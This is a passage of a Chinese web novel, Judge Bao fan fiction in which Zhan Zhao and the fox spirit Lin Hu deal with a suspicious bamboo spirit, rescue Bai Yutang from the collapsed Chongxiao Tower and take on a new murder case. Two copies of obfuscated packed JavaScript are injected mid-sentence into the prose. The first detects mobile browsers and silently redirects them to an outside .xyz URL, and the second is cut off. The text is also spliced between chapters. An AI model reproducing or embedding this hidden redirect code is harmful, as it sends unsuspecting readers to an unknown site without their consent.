展昭顺着她指的方向望去,看见个穿青绿色长衫的男子站在开封府门口,手里提着个竹篮,正跟张龙说着什么。那男子生得眉目清俊,腰间系着串竹牌,走路时发出清脆的碰撞声,正是林狐幼时在青丘相识的竹妖,本体是株千年湘妃竹,因擅长编织竹器,青丘的狐狸们都喊他竹君。 “可能是来找你的。”展昭放下卷宗,“要不要出去看看?” 林狐点点头,拉着展昭的手往外跑。竹君看见他们,笑着迎上来:“小狐狸,展护卫。”他把竹篮递过来,“我娘让我送些新晒的笋干,给你补补身子。” 竹篮里的笋干黄澄澄的,还带着淡淡的竹香,是青丘特有的甜笋,林狐小时候最爱用它炖肉吃。林狐接过篮子,眼睛亮闪闪的:“谢谢你,竹君哥哥。” “客气什么。”竹君的目光在林狐肩膀上扫了扫,指尖轻轻点了点她的衣领,“听说你在汴京受了伤,青丘的长辈们都很担心,特意让我来看看。”他的指尖带着竹节的凉意,触到林狐皮肤时,她下意识地往展昭身后缩了缩。 展昭不动声色地往前站了半步,正好挡住竹君的视线:“劳青丘挂念,林狐已经无碍了。” 竹君的目光在展昭脸上转了转,突然笑了:“展护卫对小狐狸倒是上心。不像我们青丘的赤狐,一个个毛躁得很,连编个竹篮都学不会。” 林狐没听出他话里的弦外之音,只顾着翻竹篮里的笋干:“竹君哥哥,你这次来汴京,要住多久?我带你去逛西街好不好?那里有卖糖画的,还有会转圈的风车……” “不了。”竹君打断她,笑容淡了些,“我还要赶回青丘复命,只是路过汴京,顺便来看看你。”他从袖中掏出个竹制的小狐狸挂件,递到林狐面前,“这个给你,想青丘了就看看它。” 竹狐狸雕得栩栩如生,尾巴上还刻着青丘的图腾。林狐接过挂件,突然觉得鼻子有点酸——她已经很久没回青丘了,不知道小时候一起偷鸡的小狐狸们长多大了,不知道后山的桑葚熟了没有。 “谢谢竹君哥哥。”她把竹狐狸攥在手里,指尖能摸到竹纹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268124|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温度。 ***三人正说着话,公孙策突然从里面出来,看见竹君,眼睛亮了亮:“这位公子是?” “回公孙先生,”林狐介绍道,“这是我青丘的朋友,竹君哥哥。” 公孙策捋着胡子,目光在竹君腰间的竹牌上转了转:“原来是青丘的仙长,失敬失敬。老夫最近在研究竹器的药理,听说湘妃竹的竹沥能治咳血,正想请教些问题,不知仙长可否移步药房一叙?” 竹君愣了一下,随即笑道:“能为公孙先生效劳,是我的荣幸。” 两人往药房走去,林狐看着他们的背影,突然拉了拉展昭的袖子:“你觉不觉得,竹君哥哥今天有点奇怪?” 展昭笑了笑:“怎么奇怪了?” “他以前说话不是这样的。”林狐皱着眉,“小时候他总爱揪我的尾巴,还抢我的桑葚吃,今天却客客气气的,像换了个人似的。”她顿了顿,突然想起什么,“对了,他刚才碰我肩膀时,我闻到他身上有股奇怪的味道,像……像毒箭上的那种腥气。” 展昭的脸色沉了下来。他想起林狐中毒那天,刺客用的毒箭上确实有股特殊的腥气,当时以为是凡俗毒物,没想到竟与青丘有关。难道竹君的到来,并非只是探望那么简单? ***傍晚,竹君告辞离开,公孙策送他到门口,手里还拿着本竹谱,显然聊得很投机。林狐看着竹君的背影消失在街角,突然对展昭说:“展昭,我想回趟青丘。” 展昭愣了一下:“怎么突然想回去了?你的身子还没完全好。” “我想问问长老们,关于毒箭的事。”林狐的表情很认真,“竹君哥哥身上有那种味道,肯定知道些什么。那些人既然是为了玉玺才害我,说不定青丘也牵扯其中,我不能让你一个人面对。” 展昭看着她坚定的眼神,心里突然涌起一阵暖流。他的小狐狸长大了,不再是那个只会躲在他怀里撒娇的小家伙了。“好,”他说,“我陪你一起去。” “不用,”林狐摇摇头,“你还要处理开封府的公务,我自己回去就行,很快就回来。”她踮起脚尖,在他脸上亲了一下,“等我回来,给你带青丘最甜的桑葚。” 展昭看着她蹦蹦跳跳地去收拾东西,心里既欣慰又有些不舍。他知道,有些路,总要让她自己走,就像他必须去大雪山找雪莲一样,这是她的成长,也是他们必须共同面对的考验。 ***第二日清晨,林狐出发回青丘。展昭送她到汴河边,看着她坐上竹君留下的竹筏,竹筏顺着水流漂去,竹叶做的帆在风里轻轻晃动。“路上小心,”他叮嘱道,“有事就用琉璃哨传信,我会立刻赶过去。” “知道了。”林狐挥挥手,竹筏渐渐远去,她的身影在晨光里越来越小,像朵飘在水面上的桃花。 展昭站在岸边,直到竹筏消失在视线里,才转身回府。他刚走到门口,就见张龙匆匆跑来,手里拿着片青色的竹叶:“展护卫,刚才打扫院子时,在药房门口捡到这个,上面好像有字。” 展昭接过竹叶,只见上面用竹沥写着几行小字:“玉玺藏于青丘狐冢,月圆之夜,以九尾狐心头血献祭,方可开启。”字迹潦草,显然是仓促间写就的,正是竹君的笔迹。 展昭的脸色瞬间变得惨白。他终于明白竹君的目的了——他不是来探望林狐,是来引她回青丘,用她的心头血开启狐冢!而他的小狐狸,此刻正一步步走向陷阱。 “备马!”展昭抓起墙上的巨阙剑,声音里带着从未有过的急切,“去青丘!” ***此时的汴河上,竹筏正顺流而下。林狐哼着青丘的歌谣,手里把玩着竹君送的竹狐狸,突然发现竹狐狸的肚子里藏着张纸条。她展开一看,上面赫然写着与竹叶上相同的字迹,只是最后多了一句:“他们要的是玉玺,别信任何人,包括展昭。” 林狐的心脏猛地一跳,像被冰水浇透。她看着手里的竹狐狸,突然想起竹君碰她时的眼神,想起他身上的腥气,想起展昭冻裂的嘴唇……眼泪瞬间涌了出来。 她不知道该相信谁,可她知道,她必须回去,回到展昭身边。哪怕前面是陷阱,哪怕会再次中毒,她也不能让他一个人面对。 林狐抓起船桨,奋力往回划。竹筏在水面上打了个转,激起层层涟漪,像颗慌乱的心。阳光洒在水面上,泛着金色的光芒,却照不进她此刻的迷茫与恐惧。 她只知道,她要回去,回到那个会为她寻雪莲、会给她剥鸡腿、会把她护在怀里的人身边。因为那里,才是她的家。 35. 冲霄影,碎玉惊 汴京的秋意是被一场冷雨催浓的。西街的银杏叶被打得簌簌落,青石板缝隙里积着水,映着灰蒙蒙的天。展昭刚在公堂替包拯研完最后一滴墨,就见蒋平掀着雨帘撞进来,蓑衣上的水珠溅了满地,腰间分水峨眉刺的铁环叮当作响,混着他粗重的喘息,像面敲乱了的鼓。 “包大人!展护卫!”他膝盖砸在青砖上的声响,惊得梁上燕子扑棱棱飞起来,“冲霄楼……塌了!” 包拯握着惊堂木的手猛地收紧,指节泛白:“说清楚!” “是白五爷!”蒋平抹了把脸,雨水混着泥水流进领子里,“他带弟兄们夜探冲霄楼,说是摸到了襄阳王私藏龙袍和兵器的实证,结果刚进密室,楼就炸了!弟兄们被埋在里面,白五爷他……”喉结滚了滚,后面的话咽成了哽咽。 展昭袖中的手骤然攥紧,巨阙剑的剑柄硌得掌心生疼。冲霄楼是襄阳王赵爵耗三年心血建成的,楼内七十二道机关,据说比皇家秘道还诡谲。前番雷英案虽牵出些蛛丝马迹,却总被赵爵用“皇家别院”的说辞搪塞过去,没想到白玉堂竟会如此冒险。 “火药引子是‘断魂手’的手法。”蒋平从怀里掏出块焦黑的布片,上面还沾着硫磺味,“这是在废墟里捡到的,布角绣着赵家的暗纹,定是那厮亲手引爆的!” 林狐蹲在展昭脚边,听见“断魂手”三个字,尾巴尖猛地竖起来。她前日去西街买糖画,还听见货郎们议论这人——据说他袖中藏着三十六支淬毒袖箭,去年在苏州杀了巡抚满门,连奶娘怀里的婴孩都没放过,血顺着门槛流了半条街。 “我去。”展昭起身时,绯红官袍扫过案角,带起的风卷走了半张废纸。 “我也去。”林狐突然拽住他的衣摆,指尖深深掐进布纹里。她的耳朵贴在头上,像两片被雨打蔫的柳叶,眼里却亮得执拗,“我的鼻子能闻出活人的气息,还能钻……” “不行。”展昭打断她的话,指尖划过她耳后新长的绒毛——上次在青丘受伤的地方,毛还没长齐,“那里太险。” “可你会担心。”林狐仰头看他,睫毛上沾着不知何时沾上的雨珠,“我在你身边,你不用分神想我。” 包拯突然重重咳嗽一声,目光在两人交握的手上转了转,最终落在展昭身上:“让她去。林姑娘的本事,或许能派上用场。” 展昭还想说什么,林狐已踮起脚尖,用额头轻轻撞了撞他的下巴,像只撒娇的小兽。他看见她眼底的坚定,像藏在云后的星,终究还是松了手,声音软得像被雨泡过:“紧跟着我,不许乱跑。” ***冲霄楼的废墟在暮色里像头淌血的巨兽。断梁斜插在地里,木头上的焦痕像凝固的血痂,风卷着灰烬掠过碎石堆,发出呜咽般的声响,混着远处汴河的涛声,像支送葬的曲子。 几个锦毛鼠弟兄正用撬棍撬动块断裂的横梁,领头的瘦高个看见展昭,突然红了眼:“展护卫!白五爷就在下面!我们听见他敲石板的声音,可这梁……” 横梁压得极实,下面露出的缝隙里,隐约能看见抹月白衣角。展昭挥剑斩断缠在梁上的断绳,剑气劈开扑面而来的烟尘:“搭人梯,我去看看。” 林狐突然拽住他的手腕,鼻尖朝着东侧的断墙颤了颤:“这边有活气,还有……血腥味,很淡,混着龙涎香。”那是白玉堂常用的熏香,上次在灯会遇见时,她还偷偷吐槽过“比狐狸洞的香囊难闻”。 展昭立刻转向断墙。那里的碎石堆得像座小山,最底层的青石板却在微微震动,像是有人在下面敲击。他挥剑劈开碎石,露出块刻着云纹的石板——这是王府特有的青石板,比寻常石材厚三倍。 “玉堂?”他把耳朵贴在石板上,听见里面传来微弱的敲击声,三长两短,是他们约定的暗号。 “下面是空的。”林狐突然跳进碎石堆的缝隙里,尾巴扫开碎砖,“石板下有夹层,我能闻到桐油味,是机关的润滑油。”她的爪子在石板边缘扒了扒,指甲缝里立刻渗出血珠,“这里有凹槽,是活动的。” 展昭立刻用剑鞘插进凹槽,发力撬动。石板纹丝不动,反而引得头顶落下几片碎瓦。蒋平突然喊:“我知道了!这是‘子母扣’,得先找到子扣才能开母扣!”他指着旁边一根断裂的盘龙柱,“你看柱身上的鳞片,第三排左数第七片是松的!” 展昭挥剑挑开那片铜鳞,里面果然露出个铜钱大小的孔。他伸进手指,摸到里面的机关,轻轻一旋—— “咔哒”一声,石板突然下沉半寸,露出道仅容一人爬行的缝隙。 “我进去。”林狐立刻蜷起身子,尾巴在身后摆了摆,像在说“我能行”。 “等等。”展昭按住她的肩膀,指尖触到她后背新添的擦伤——是刚才跳碎石堆时蹭的,“里面可能有暗箭。” “白五爷等不起。”林狐掰开他的手,像条红影钻进了缝隙。她的皮毛蹭过粗糙的石壁,划出细细的血痕,却毫不在意,只顾着往前钻。黑暗里,她听见白玉堂压抑的咳嗽声,越来越近,带着铁锈味的血腥气也越来越浓。 “白五爷?”她终于钻到石板下的夹层,借着从缝隙透进来的微光,看见白玉堂被一根断裂的石梁压住了右腿,裤腿已被血浸透,怀里却紧紧抱着个油布包。 “小狐狸?”白玉堂抬头时,额角的血顺着下颌线往下滴,滴在油布包上,洇出深色的痕,“展昭那厮来了?” “嗯!他在外面!”林狐跑到石梁下,用爪子扒开压着的碎砖,“这梁下面是空的,我能顶开条缝!”她弓起身子,九条尾巴在身后展开,像九道绷紧的弓弦,用尽全力去顶石梁。 骨头摩擦的咯吱声在狭小的空间里回荡,她的肩膀被石棱划破,血顺着皮毛往下淌,滴在白玉堂的手背上,烫得他猛地一颤。 “别费力气了。”白玉堂想推开她,却连抬手的力气都快没了,“这梁少说有千斤重……” “能行的。”林狐的声音带着哭腔,尾巴却绷得更紧了,“展昭在等你,开封府也在等你……” 就在这时,头顶突然传来震耳欲聋的轰鸣!是外面的弟兄们在合力抬梁!石梁微微晃动,露出道三寸宽的缝。白玉堂立刻抓住机会,忍着剧痛抽出被压的腿,疼得 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展昭接住她的瞬间,感觉怀里的人轻得像片羽毛。他摸到她腿上黏腻的血,顺着指缝往外涌,烫得他心口发紧,像被塞进了块烧红的烙铁。抬头望向废墟深处,那些狰狞的断梁黑影里,仿佛藏着无数双眼睛,正冷冷地看着他们,他的眼神骤然沉下去,暗得像冲霄楼底的深渊。 ***临时搭起的医帐里,油灯的火苗被风刮得忽明忽暗。公孙策刚给白玉堂接好断骨,转身看见展昭抱着林狐进来,手里的药杵“当啷”掉在石臼里。 “这是……”他的胡子都在抖。 展昭没说话,小心翼翼地把林狐放在铺着干草的榻上,伸手去解她的裤腿。布料早已和血肉粘在一起,他的指尖抖得厉害,每扯动一下,林狐就蹙紧眉头,却始终咬着唇没出声,只是用湿漉漉的眼睛望着他,像只受了伤却不敢哭的小兽。 “忍一忍。”他撕开自己的里衣,雪白的中衣被他撕成条,动作却笨得不像他——往日挥剑能劈开飘落的柳絮,此刻却连布条都撕不平整。 林狐的右腿肿得像根紫萝卜,膝盖处的骨头微微突起,显然是断了。公孙策用银针定位时,她疼得浑身发抖,冷汗浸透了额发,却突然偏过头,用舌尖轻轻舔了舔展昭的手腕。那里有块被碎石划破的小伤口,她的动作很轻,带着点讨好的意味,像在说“我不疼”。 展昭的动作猛地顿住,随即把她往怀里紧了紧,紧得几乎要将她揉进骨血里。他能感觉到她的颤抖,透过相贴的肌肤传过来,像电流窜过四肢百骸。帐外的风卷着碎石砸在帆布上,发出“咚咚”的声响,像催命的鼓点,可他怀里的温度,却烫得让人心安。 “下次再敢乱来……”他的声音发狠,带着压抑不住的后怕,尾音却突然软了,用脸颊轻轻蹭了蹭她的头,鬓角的碎发扫过她的耳朵,“我饶不了你。” 林狐呜咽了一声,像是在认错,却用鼻尖蹭了蹭他的下巴,毛茸茸的耳朵扫过他的喉结,带着点痒。血还在往外渗,染红了他的衣襟,像朵开得正烈的红梅,在这满目疮痍的废墟里,灼得人眼睛发酸。 36. 残垣证,风雨定 林狐醒来时,窗外的月光正顺着帐缝钻进来,在地上投下细长的银线。右腿被夹板固定着,动一下就疼得钻心,却感觉不到冷——展昭正坐在榻边,握着她的脚踝,掌心的温度透过棉布传过来,像个暖炉。 “醒了?”他的声音带着刚睡醒的沙哑,指尖在她脚背轻轻画着圈,“饿不饿?张龙带了些糕点。” 旁边的木盘里放着块桂花糕,是她爱吃的那家“福瑞斋”的,上面还盖着油纸,显然是特意带来的。林狐摇摇头,往他身边挪了挪,尾巴缠上他的手腕:“白玉堂呢?” “在隔壁帐子养伤,”展昭拿起块糕点,用指尖捻碎了喂到她嘴边,“他怀里的油布包,是襄阳王私藏的龙袍碎片和兵器账册,只是……”他顿了顿,“最重要的密信和兵力部署图,还在冲霄楼的密室里。” 林狐突然坐起来,疼得“嘶”了一声:“我知道在哪!白五爷昏迷前跟我说,在顶楼的‘北斗阁’,藏在麒麟像的肚子里!” 展昭按住她的肩膀,不让她乱动:“我已经让蒋四哥带人去搜了,只是……”他望向帐外,夜色浓得像墨,“那断魂手说不定还在附近,我不放心。” “我跟你去。”林狐的眼睛亮得像星,“我的狐火能照亮暗处的机关,还能……” “你的腿断了。”展昭打断她,语气却没什么力道,“乖乖待着。” 可他转身准备离开时,衣角却被紧紧拽住了。林狐仰着头看他,眼里的光软得像月光:“我知道你会去北斗阁。那里的机关是按‘二十八星宿’排的,我在青丘看过类似的星图,能帮你避开。”她顿了顿,声音低下去,“我不想再等了,展昭。每次你离开,我都怕……” 后面的话没说出口,却像根针,轻轻刺在展昭心上。他想起她在狐冢消失时的金光,想起她替他挡碎石时的决绝,终究还是叹了口气,弯腰将她抱起来:“坐稳了,不许乱动。” ***冲霄楼的断壁在月光下像群沉默的巨人。展昭背着林狐,脚踩在碎砖上,发出“咯吱”的轻响,巨阙剑在手里握着,剑穗上的红绸被夜风吹得贴在他手腕上,像道血痕。 “左转。”林狐趴在他背上,鼻尖对着西侧的楼梯,“第三级台阶是空的,踩上去会弹出毒针。” 展昭依言避开,果然听见身后传来“咻”的声响,毒针钉在断墙上,冒出缕缕青烟。他越往上走,空气里的血腥味越浓,混着淡淡的龙涎香——是白玉堂留下的记号,说明他之前确实来过这里。 “快到了。”林狐的声音带着点兴奋,“前面那个挂着灯笼的阁楼,就是北斗阁!” 阁楼的门虚掩着,里面黑黢黢的,像个张开的嘴。展昭推开门,扑面而来的是股陈腐的气息,混着桐油味。林狐突然抓紧他的衣领:“小心!地上的砖是‘阴阳转’,踩错了会掉下去!” 她指点着展昭踩哪些砖块,像在跳一支无声的舞。月光透过窗棂照进来,在地上投下格子状的光影,照亮了角落里的麒麟像——黄铜铸的,有一人高,眼睛是用绿宝石做的,在暗处闪着幽光。 “就在它肚子里。”林狐说。 展昭刚走到麒麟像前,突然听见身后传来“咔哒”一声!是门被锁上的声音! “断魂手!”林狐的声音发颤。 阁楼的横梁上,果然跳下道黑影,手里握着把淬毒的匕首,直扑展昭后心!展昭转身挥剑,剑气与匕首相撞,发出刺耳的金属声。断魂手的身手极快,像只夜猫,在断柱间穿梭,匕首招招不离展昭要害。 “他的袖箭!”林狐突然喊道,“左袖里有三支!” 展昭立刻矮身避开,三支毒箭擦着他的头皮飞过,钉在麒麟像上,绿宝石眼睛瞬间被腐蚀出三个洞。他趁机挥剑横扫,剑气斩断了断魂手的匕首,剑锋直指他的咽喉。 “算你狠!”断魂手突然从怀里掏出个火折子,“这阁楼的梁柱都涂了火油,咱们同归于尽!” 林狐突然从展昭背上跳下来,忍着腿疼,九条尾巴瞬间缠住了断魂手的手腕。尾巴上的毛被火折子燎得卷曲,她却死死咬住牙,将他往麒麟像那边拽。 “展昭!”她喊。 展昭立刻明白了她的意思,挥剑斩断了断魂手的另一只手。火折子掉在地上,却没点燃——林狐早用尾巴卷走了他藏在怀里的火石! 断魂手惨叫着倒下,展昭上前一步,剑峰抵住他的咽喉:“密信在哪?” “在……在麒麟像的暗格里……”他的声音抖得像筛糠,“襄阳王说……重阳节那天,要里应外合,夺……夺宫……” 展昭没再理他,转身去开麒麟像的暗格。林狐突然扑过来,用身体挡住了他——一支毒箭从断魂手藏在靴筒里的发射器射出,正钉在她刚才站的地方! “你!”展昭的声音发寒,一剑刺穿了断魂手的心脏。 林狐却笑了,往他怀里钻了钻:“我没事。”她的尾巴缠着他的腰,像条不肯松开的绸带,“快看看暗格。” 暗格里果然放着个紫檀木盒,里面是襄阳王与辽国密使的往来信件,还有份详细的兵力部署图,红圈在皇宫的位置画得格外醒目,日期正是三日后的重阳节。 “找到了。”展昭将盒子揣进怀里,抱起林狐往外走,“我们回家。” ***重阳节那天,汴京的风突然暖了。包拯捧着密信和地图,在金銮殿上弹劾赵爵,证据确凿,连辽国密使留在驿馆的信物都被呈上,铁证如山,无可辩驳。皇上拍案而起时,龙椅的扶手都被震得发颤,当即下令禁军包围襄阳王府,将赵爵打入天牢,涉案的官员一律革职查办,午时三刻的钟声还没敲完,汴京的大街小巷已传遍了这个消息。 开封府的朱漆大门外,张龙赵虎正忙着挂红绸,红绸被风吹得猎猎作响,像无数面小旗。府里的老槐树下落了层金黄的叶子,公孙策蹲在树下翻晒药材,看见展昭抱着林狐回来,手里的药铲“当啷”掉在竹筐里。 “可算回来了!”他笑眯眯地迎上来,花白的胡子翘得老高,“我炖了当归乌鸡汤,正等着给你们补补身子呢!” 林狐趴在展昭怀里,右腿还打着夹板,听见“鸡汤”两个字,眼睛亮得像两颗黑葡萄。她的尾巴在身后轻轻晃着,扫过展昭的官袍下摆,把上面沾着的尘土扫下来,像撒了把碎金。 “公孙先生,”展昭把她放在廊下的软榻上,声音里带着笑意,“她的腿恢复得怎么样?” “恢复得不错,”公孙策摸了摸胡须,伸手替林狐把脉,指尖刚搭上她的手腕,就被她用尾巴卷住了袖子,“小狐狸这是怕我扎针?” 林狐往展昭身后缩了缩,耳朵贴在头上,像只受惊的小兔子。上次公孙策给她接骨时,疼得她眼泪直流,现在听见“扎针”两个字,腿肚子还打颤。 “她怕疼。”展昭替她理了理额前的碎发,指尖在她耳后轻轻挠了挠,那里的绒毛软得像团云,“先生轻点。” 公孙策哈哈大笑:“放心,这次用的是‘凝神针’,不疼的。”他取出银针,在油灯上烤了烤,轻轻刺入林狐膝盖周围的穴位,“再过几日,就能拆夹板了,到时候让展护卫带你去逛重阳庙会,好不好?” 林狐的眼睛瞬间亮了,用力点头,尾巴在身后晃成了圈,差点扫翻旁边的药箱。展昭伸手按住她的尾巴,指尖触到上面细密的绒毛,心里软得像被温水泡过的棉花。 ***傍晚时分,白玉堂拄着拐杖来了。他的腿还没好利索,走路一瘸一拐的,却依旧穿着那件月白长衫,领口绣着银丝暗纹,手里把玩着颗鸽血红的珠子,看见展昭,挑眉笑了:“听说你把那断魂手给宰了?够狠。” “他该死。”展昭递给她一杯茶,声音平淡无波。 白玉堂接过茶盏,目光在林狐打着夹板的腿上转了转,突然从袖中掏出个小巧的玉狐狸挂件,抛给她:“算我赔罪,上次在灯会送你的琉璃哨,估计早就丢了。” 玉狐狸是暖白色的,雕得栩栩如生,尾巴上还刻着几缕云纹。林狐接住挂件,指尖触到温润的玉质,突然想起那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“才不呢。”林狐噘着嘴,用糖葫芦戳了戳他的胳膊,“我比她勇敢,上次在冲霄楼,我还救了你呢!” “是是是,”展昭无奈地摇摇头,替她擦掉嘴角的糖渣,“我们家林狐最勇敢了。” 皮影戏演到白素贞被压在雷峰塔下时,林狐突然不说话了,眼睛红红的,像要哭了。展昭握住她的手,指尖触到她掌心的汗:“怎么了?” “他们为什么不能在一起?”林狐的声音带着哭腔,“人妖殊途就这么重要吗?” 展昭的心猛地一缩。他看着幕布上悲伤的皮影,又看了看怀里眼眶通红的林狐,突然俯身,在她额头轻轻吻了一下,动作轻柔得像飘落的雪花。 “不重要。”他的声音低沉而温柔,“只要两个人的心在一起,什么都不重要。” 林狐的眼泪突然掉了下来,不是因为难过,是因为开心。她往展昭怀里钻了钻,把脸埋在他的衣襟里,闻着他身上熟悉的皂角香,心里像被灌满了蜜糖。 远处的钟楼敲响了暮钟,“咚——咚——”,沉稳而悠长。街上的人流渐渐散去,夕阳把两人的影子拉得老长,交缠在一起,像幅流动的画。展昭推着轮椅,慢慢往开封府走,林狐的尾巴在身后轻轻晃着,扫过青石板,发出细碎的声响,像在哼着支快乐的歌。 她知道,未来或许还有风雨,或许还有人会说他们人妖殊途,但只要能这样牵着他的手,她就什么都不怕了。因为她的展昭,会像座永远不会塌的山,为她挡住所有的风雨,而她,也会像只永远陪着他的小狐狸,给他温暖,给他快乐,给他一个永远的家。 开封府的灯笼已经亮起,暖黄的光透过窗棂,照在门口的石狮子上,像镀了层金边。展昭抱着林狐走进府门时,张龙赵虎正在院子里摆桌子,准备吃重阳糕;公孙策坐在廊下,摇着扇子,看着他们笑;包拯站在正厅门口,目光温和,像位慈爱的长辈。 林狐突然觉得,这就是她想要的家。有他,有朋友,有温暖,有欢笑,还有永远吃不完的桂花糕。她抬头看了看展昭,他正低头看着她,眼里的温柔像融化的月光,她突然笑了,像朵盛开的桃花。 这个重阳,真好。 39. 情魔诡案(一) 汴京的秋意总带着点缠绵的湿意。开封府后院的梧桐叶被夜雨打透,沉甸甸地坠在枝头,偶尔落下一片,在青石板上砸出细微的响。展昭刚练完剑,巨阙剑上的水珠顺着剑穗滴落,红绸沾了潮气,贴在他手腕上,像道温热的血痕。 “展昭!”林狐的声音从回廊传来,带着点雀跃的尾音。她穿着身鹅黄襦裙,裙摆沾了草屑——定是又在假山后打滚了。尾巴在身后欢快地晃着,扫过廊柱上的铜环,叮当作响。 展昭收剑入鞘,看着她像阵风似的冲过来,下意识张开手臂。她果然一头撞进他怀里,鼻尖蹭过他的锁骨,带着雨后泥土的腥气。“公孙先生炖了冰糖雪梨,”她仰起脸,眼睛亮得像浸了水的黑曜石,“他说你的嗓子练剑喊哑了,特意多加了川贝。” 他低头,看见她耳后新长的绒毛沾了片梧桐叶,伸手替她摘下。指尖触到那点柔软时,她的耳朵抖了抖,像受惊的小兽,却把脖子往他手心凑得更近了。“刚从包拯大人那里回来?”他问,闻到她袖中飘出淡淡的檀香——是包拯案头常燃的“凝神香”。 “嗯!”林狐点头,尾巴缠上他的手腕,毛茸茸的圈越收越紧,“包大人在看卷宗,眉头皱得像你上次画坏的山水画。”她突然踮起脚尖,用鼻尖蹭他的下巴,“他是不是又要派你出差?带上我好不好?我保证不捣乱,还能帮你闻线索。” 展昭失笑,屈指敲她的额头:“就你鼻子灵。”话虽如此,指尖却替她理了理被风吹乱的鬓发。自冲霄楼一案后,她总爱黏着他,仿佛怕一转身就会分开。他嘴上说着“胡闹”,却早已习惯了肩头落着只红狐狸,或是案头趴着个晃尾巴的少女。 正说着,张龙匆匆跑来,手里捧着个紫檀木盒,脸色凝重:“展护卫,大人请您去正堂,说是武宁府送来的急件。” 林狐的耳朵瞬间竖了起来,尾巴尖绷得笔直。展昭接过木盒,入手微沉,盒锁上刻着开封府的云纹——是八百里加急的密件。他看了眼林狐,她正眼巴巴地望着他,眼里的期待像星星似的,便伸手牵住她的手:“走吧,去看看。” ***正堂的檀香燃得正旺,与窗外的桂花香交织在一起,竟生出几分沉郁的暖意。包拯坐在案后,眉头确实如林狐所说,拧成了个川字。案上摊着几张纸,墨迹淋漓,像是刚写完的卷宗。 “展昭来了。”包拯抬眼,目光在他与林狐交握的手上顿了顿,随即落在木盒上,“打开看看吧,武宁府出了命案,三日内连死三人,都是官员的外室,死状离奇。” 展昭打开木盒,里面是三本验尸格目和几张拓片。格目上的字迹娟秀,是武宁府仵作的手笔,记载着死者均为喉部中刀,一击毙命,更诡异的是,每人手中都紧攥着半张写着词的宣纸。拓片上的字迹潦草,透着股凄厉,是那半首《断肠词》:“寸寸柔肠,盈盈粉泪,楼高莫近危栏倚。平芜尽处是春山,行人更在春山外。” “情魔?”展昭指尖划过“情魔”二字——是卷宗里对凶徒的称呼。 “当地百姓都这么叫他。”包拯叹了口气,拿起一张拓片,“死者皆是因情事被丈夫厌弃的姬妾,手中词片拼起来,正是一首完整的《断肠词》。武宁知府束手无策,特意送来密件,请开封府派人协助。”他看向展昭,目光沉沉,“此事恐牵扯甚广,你愿往吗?” “属下遵命。”展昭躬身应道,心里却已盘算起来——武宁府地处江南,文风鼎盛,怎会出这等连环凶案?《断肠词》是前朝才女所作,向来被视为闺阁怨词,凶徒以此为标记,究竟是何用意? “我也要去!”林狐突然开口,声音清脆,打破了堂内的凝重。她往前一步,尾巴在身后轻轻扫着展昭的腿,“我的鼻子能闻出不同的香味,说不定能找到线索。而且……”她偷偷看了眼展昭,“我能保护他。” 包拯被她认真的样子逗笑,捋了捋胡须:“你这小狐狸,倒会说嘴。上次在琉璃阁,是谁被书生吓得往展昭怀里钻?” 林狐的脸颊瞬间红了,往展昭身后缩了缩,尾巴尖却不服气地翘着:“那是意外!这次我肯定不会!” 展昭握住她的手,指尖感受到她掌心的汗。他知道她怕闷在开封府,更怕与他分离。查案凶险,他本不想带她,可看着她眼里的期待与紧张,拒绝的话却怎么也说不出口。“大人,”他抬头看向包拯,“林狐的嗅觉确有过人之处,或许能助一臂之力。属下会看好她,绝不误事。” 包拯看着两人交握的手,目光柔和了些。他虽为开封府尹,却也看得出这对异恋情侣的深情。展昭持重,林狐灵动,或许正是破此案的关键。“也罢,”他点头,“便让你随展昭同去,只是切记,一切需听展昭安排,不可任性。” “谢谢包大人!”林狐喜得跳起来,尾巴在身后晃成了圈,差点扫翻案边的砚台。展昭眼疾手快扶住砚台,无奈地看了她一眼,她却冲他吐吐舌头,眼底的笑意像撒了把糖。 ***离开正堂时,夕阳正透过窗棂,在地上投下格子状的光影。林狐蹦蹦跳跳地走在前面,尾巴时不时回头勾一下展昭的衣袖,像在确认他跟在身后。 “慢点。”他拉住她,从袖中掏出块桂花糕——是早上张龙的婆娘送来的,她最爱吃的那家“福瑞斋”的。“先垫垫肚子,去武宁府的船要明日才开,今晚得收拾行李。” 林狐接过桂花糕,却没吃,反而踮起脚尖喂到他嘴边:“你先吃。”她的指尖触到他的唇,带着点微凉的甜,像沾了蜜。他咬了一口,看见她 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展昭站在一旁,看着林狐与公孙策说笑,夕阳的金辉落在她身上,像镀了层金边。他知道,前路或许有迷雾,有凶险,但只要身边有这只摇着尾巴的小狐狸,他便无所畏惧。 回到住处时,林狐已经开始翻箱倒柜。她的小包袱摊在桌上,里面堆满了稀奇古怪的东西:半块啃剩的麦芽糖、展昭的旧发带、还有片从青丘带来的红叶。展昭看着那根旧发带,想起是去年冬天她偷偷剪去的,当时还闹了好一阵子别扭,忍不住笑了。 “你笑什么?”林狐回头看他,手里拿着件水红的披风,“这件好看吗?武宁府会冷吗?” 他走过去,拿起披风替她披上,指尖拂过她的发梢:“江南比汴京暖些,但晚上会凉,这件正好。”他顿了顿,从柜里拿出自己的剑匣,“巨阙剑得带上,还有你的短刀,上次给你削的那把,记得放在靴筒里。” 林狐乖乖点头,看着他收拾东西的侧脸,突然觉得心里满满的。她知道,展昭从不打无准备之仗,他带的每一样东西,都藏着对她的牵挂。她走过去,从身后抱住他,脸颊贴在他的背上,听着他沉稳的心跳,像听着最安心的鼓点。 “展昭,”她轻声说,“不管遇到什么,我都会陪着你。” 他转过身,抱住她,下巴抵在她的发顶,声音低哑而温柔:“嗯,我知道。” 